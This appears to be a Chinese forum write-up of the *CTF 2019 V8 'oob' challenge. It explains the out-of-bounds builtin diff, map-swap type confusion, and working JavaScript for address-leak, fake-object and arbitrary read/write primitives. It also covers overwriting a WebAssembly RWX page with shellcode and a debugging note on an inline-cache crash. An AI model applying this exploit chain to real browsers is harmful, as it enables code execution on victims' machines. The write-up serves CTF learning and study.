starctf v8_oob

0x00 引

昨天端午节,外面下着暴雨,想起了一个一直想看的题,就开始捣鼓起来,调一会儿,玩一会儿,用了一个下午了解整个题,总觉得还是要记录下来点什么,网上关于这个题的writeup很多,也很精彩,但是我遇到了一个小小问题,似乎也没有准确答案 (太菜了,对v8一些内置系统还是不太熟悉),记录下来,看以后有没有机会能再弄清楚它。 ( 我会尽量用最简洁的语言来描述这个题的整个过程,然后记录一个问题

0x01 漏洞点和两个基础原语

从给题目给的diff可以看到新增了一个oob内置函数,从名字也暗示了你这是一个怎样的漏洞:

  • 当传参数量为1个时,取其数组的第length个元素直接返回
  • 当传参数量为2个时,将第二个参数的值写入其数组的第length元素
  • length == 其数组的长度
  • 对于这样内置函数,其第一个参数是指向receiver的this指针,所以上述描述在js里面调用来描述应该是:
    • 当传参数量为0个时,取其数组的第length个元素直接返回
    • 当传参数量为1个时,将其第一个参数的值写入其数组的第length元素

所以根据上面描述,可以很快确定这确实是一个oob,可以对receiver数组越界读或者写。

+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}

有了上面的基础,接下得让这个oob读写的操作变得有意义,直接引出jsobject的结构

  FixedArray ----> +------------------------+
                   |       <Map>            +<---------+
                   +------------------------+          |
                   |      length            |          |
                   +------------------------+          |
                   |      element 1         |          |
                   |      ......            |          |
                   |      element n         |          |
 ArrayObject  ---->-------------------------+          |
                   |      <Map>             |          |
                   +------------------------+          |
                   |      prototype         |          |
                   +------------------------+          |
                   |      elements          |          |
                   |                        +----------+
                   +------------------------+
                   |      length            |
                   +------------------------+
                   |      properties        |
                   +------------------------+

是不是觉得这个结构非常的神奇,可扩展的FixedArray在JSObject头前面,这让oob的操作就变得有意义了,oob操作是完全可以读写Map的,这里就简单介绍一下map

每个实例都有一个描述其结构的map,一般来说由相同顺序、相同属性名(同一构造函数)构建的对象,共享同一个map.

JSObject<Map> 也被称为 Hidden Class,这是由于最早 V8 在 Design Elements 将其称之为 Hidden Class,故一直沿用至今。

也就说,在 V8 中具有相同构建结构的 JSObject 对象,在堆内具有相同的内存(空间)布局

所以不同类型的Array例如,objectArray或者 floatArray都有描述其结构的map, 而这些都属于JSObject,决定他们不一样的就是map。

oob操作给了我们可以泄露map和写map的机会,如果我把objectArray的map换成floatArray的map,会产生什么样的效果呢? 这里就产生类型混淆,floatArray的element里面是直接储存浮点数的值,而objectArray的element里面存储是其他object的引用。

所以我们把objectArray的map换成floatArray的map,将导致v8会以对floatArray的操作方法来操作objectArray,直接就导致了可以读取其他object的引用地址。相反将floatArray的map换成objectArray的map,将会导致我们有机会直接改写objectArray的element里面对其他object的应用。

这里就引出下面两个基础原语:

  • 泄露某个obj的地址
  • 从某个地址得到一个obj
var obj_arr = [console.log]; //objectArray
var obj_arr_map = obj_arr.oob();//objectArray's map
// Create a Float array, and remember its map
var float_arr = [2.2]; //floatArray
var float_arr_map = float_arr.oob();//floatArray's map

function get_addr_of(obj)
{
    // Set the array's object to the object we want to get address of
    obj_arr[0] = obj;
    // change object array to float array
    obj_arr.oob(float_arr_map);
    // save the pointer
    let res = obj_arr[0];
    // return object array to being object array
    obj_arr.oob(obj_arr_map);
    // return the result
    return res;
}

function create_object_from(float_addr)
{
    // Set object array to be float array
    obj_arr.oob(float_arr_map);
    // Set the first value to the address we want
    obj_arr[0] = float_addr;
    // Set the array to be object array again
    obj_arr.oob(obj_arr_map);
    // Return the newly crafted object
    return obj_arr[0];
}

0x02 任意读写原语

现在要通过前面的两个基础原语,得到我们真正想要的RW原语,简单思考一下,这里过程让我想到了在php里面怎么用类型混淆来做rw,最简单就是有一段可控空间,造一个string类型的zval出来,拿到它的引用,就可以达到rw的功能,其实这里也一样,我们也可以造一个js里面基础类型,这里选择造一个floatArray出来。

var fake_arr=[
	float_arr_map,//<MAP>
	bigint2float(0n),//prototype
	bigint2float(0x41414141n), //elements
    bigint2float(0x1000000000n),//lengths
    1.1,
    2.2,
]

//0X40 根据fake_arr大小变化
var fake_obj_arr = float2bigint(get_addr_of(fake_arr))-0x41n+0x10n;

通过改变elements的指向,就可以实现任意rw的功能,也就拿到了下面两个rw的原语。

function read64(addr){ //bigint
	fake_arr[2]=bigint2float(addr-0x10n+0x1n);
	let res=fake_obj[0];
	return float2bigint(res);
}

function write64(addr,data){//bigint,bigint
	fake_arr[2]=bigint2float(addr-0x10n+0x1n);
	console.log(float2bigint(fake_arr[2]).toString(16));
	fake_obj[0]=bigint2float(data);
}

0x03 利用过程

这里有很多的利用方法,但是这里我只记录一种,通过它来说明我遇到的一个问题。

有了rw,我们得想办法劫持控制流,在v8里面的wasm特性就是一个非常不错的选择。

var code_bytes = new Uint8Array([
    0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x07,0x01,0x60,0x02,0x7F,0x7F,0x01,
    0x7F,0x03,0x02,0x01,0x00,0x07,0x0A,0x01,0x06,0x61,0x64,0x64,0x54,0x77,0x6F,0x00,
    0x00,0x0A,0x09,0x01,0x07,0x00,0x20,0x00,0x20,0x01,0x6A,0x0B,0x00,0x0E,0x04,0x6E,
    0x61,0x6D,0x65,0x02,0x07,0x01,0x00,0x02,0x00,0x00,0x01,0x00]);
const wasmModule = new WebAssembly.Module(code_bytes.buffer);
const wasmInstance =
      new WebAssembly.Instance(wasmModule, {});
const { addTwo } = wasmInstance.exports;

addTwo(5, 6)

通过wasm的语法引入了一个函数,在wasm的解析过程中,会开辟一个rwx的page,会把引入的函数code放到这个page上,所以这里如果我们能拿到这个page的位置,把相应的函数code覆盖成我们的shellcode,那么在通过函数表调用的过程中就会直接执行我们的shellcode。

拿到这个page的过程是动态调试的一个过程,其实也可以看代码把结构上的相对offset算出来。

%DebugPrint(wasmInstance);
%SystemBreak();

通过GDB断下来,用vmmap看一下rxw的页起始地址,再通过内存搜索找到对它引用的地址point_adr, 然后用point_adr 减去 wasmInstance_adr就可以拿到这个offset,这里具体值是0x87。

下面我们要找到存放函数code的具体位置,从rxw的页起始地址加 0x2,就是这个函数表的一个指针,指向的就是函数code位置。

后面过程就理所当然了,接着我遇到的问题就来了

0x04 一个小问题

在写shellcode过程中,出现了segmentfault的问题,这很奇怪,我注意到从一道CTF题零基础学V8漏洞利用这篇文章里面也提到这个问题。

pwndbg> r  
[*] Success find libc addr: 0x000056420e8075b0  
[*] find libc libc_free_hook_addr: 0x00007f16f641b8e8  
... ...  
RAX 0x7f16f6400000  
... ...  
► 0x56420e5756bd mov rax, qword ptr [rax + 0x30]  
0x56420e5756c1 cmp rcx, qword ptr [rax - 0x8fe0]  
0x56420e5756c8 sete al  
0x56420e5756cb ret  
... ...  
Program received signal SIGSEGV (fault address 0x7f16f6400030)  
pwndbg>

细心的童鞋应该会发现,我们要写的内存地址0x00007f16f641b8e8在write64时低20位却被程序莫名奇妙地改写为了0,从而导致了后续写入操作的失败。

这是因为我们write64写原语使用的是FloatArray的写入操作,而Double类型的浮点数数组在处理7f开头的高地址时会出现将低20位与运算为0,从而导致上述操作无法写入的错误。这个解释不一定正确,希望知道的童鞋补充一下。出现的结果就是,直接用FloatArray方式向高地址写入会不成功。

对于作者关于这个问题的解释,我觉得有点奇怪,最后作者通过DataView解决了这个问题,而我这里不需要DataView似乎也能解决问题。下面是我关于这个问题的探究过程,也不一定正确,所以只做参考。

我首先打印了一下出现这个问题时候的stacktrace

#0  0x0000563087f2cd2d in v8::internal::FixedArrayBase::IsCowArray() const ()
#1  0x0000563087e61003 in v8::internal::GetStoreMode(v8::internal::Handle<v8::internal::JSObject>, unsigned int, v8::internal::Handle<v8::internal::Object>) ()
#2  0x0000563087e60dea in v8::internal::KeyedStoreIC::Store(v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>) ()
#3  0x0000563087e652c7 in v8::internal::Runtime_KeyedStoreIC_Miss(int, unsigned long*, v8::internal::Isolate*) ()
#4  0x0000563088391359 in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit ()
#5  0x00005630883dc8d9 in Builtins_StaKeyedPropertyHandler ()
#6  0x0000563088304766 in Builtins_InterpreterEntryTrampoline ()

这个出现一个过程是Runtime_KeyedStoreIC_Miss,然后我去具体看这个地方代码,首先
IC是个什么东西,是一种V8里面内置优化过程叫inline cache,用于优化下面的过程:

function getX(point) {
    return point.x;
}

for (var i = 0; i < 10000; i++) {
    getX({x : i});
}

其中point.x 可以理解为Runtime_Load(point, "x");

function Runtime_Load(obj, key) {
    var desc = obj.map().instance_descriptors();
    var desc_number = -1;
    for (var i = 0; i < desc.length; i++) {
        if (desc.GetKey(i) === key) {
            desc_number = i;
            break;
        }
    }

    if (desc_number === -1) {
    	return undefined;
    }

    var detail = desc.GetDetails(desc_number);
    if (detail.is_inobject()) {
    	return obj.READ_FIELD(detail.offset());
    } else {
    	return obj.properties().get(detail.outobject_array_index());
    }
}

上前面那种情况下传入的JSObject的map都是一样,属性x的存储位置也是相同的,那么就可以存储一个键值对用来保存 map和对应x的存储位置。在传入obj的map相同的情况下,直接从缓存位置读取:

function LoadIC_x(obj) {
  if (obj.map() === cache.map) {
    if (cache.offset >= 0) {
      return obj.READ_FIELD(cache.offset);
    } else {
      return obj.properties().get(cache.index);
    }
  } else {
      return Runtime_LoadIC_Miss(obj, "x");
  }
}

有了这个IC处理过程的基础,我们再看到底是哪出错了

return  receiver->elements()->IsCowArray() ? STORE_NO_TRANSITION_HANDLE_COW: STANDARD_STORE;

这里地方有问题,似乎这里判断一下fixedArray 是不是cowArray类型,但是我们造fake_obj 的elements是指向rwx节上的,并不能保证fixedArray的完整性,所以这里出问题了,那么我的想法是不让它进入这个IC miss的过程,miss发生在哪一步呢?

function write64(addr,data){//bigint,bigint
	fake_arr[2]=bigint2float(addr-0x10n+0x1n);
	fake_obj[0]=bigint2float(data); //fake_obj[0]这里发生了miss
}

所以我的想法是先用write64正常写一次,让IC建立储存关系,然后让后面的load/store直接使用cache里面的关系,从实验中,证明了我这样做的方法是可行的!但是我不能保证我上面的想法是对的。所以这个问题我想记录下来,看以后能不能真正的去理解它

about

http://www.hackitek.com/starctf-2019-chrome-oob-v8/
https://www.freebuf.com/vuls/203721.html
https://zhuanlan.zhihu.com/p/28790195
https://www.anquanke.com/post/id/207483

2 个赞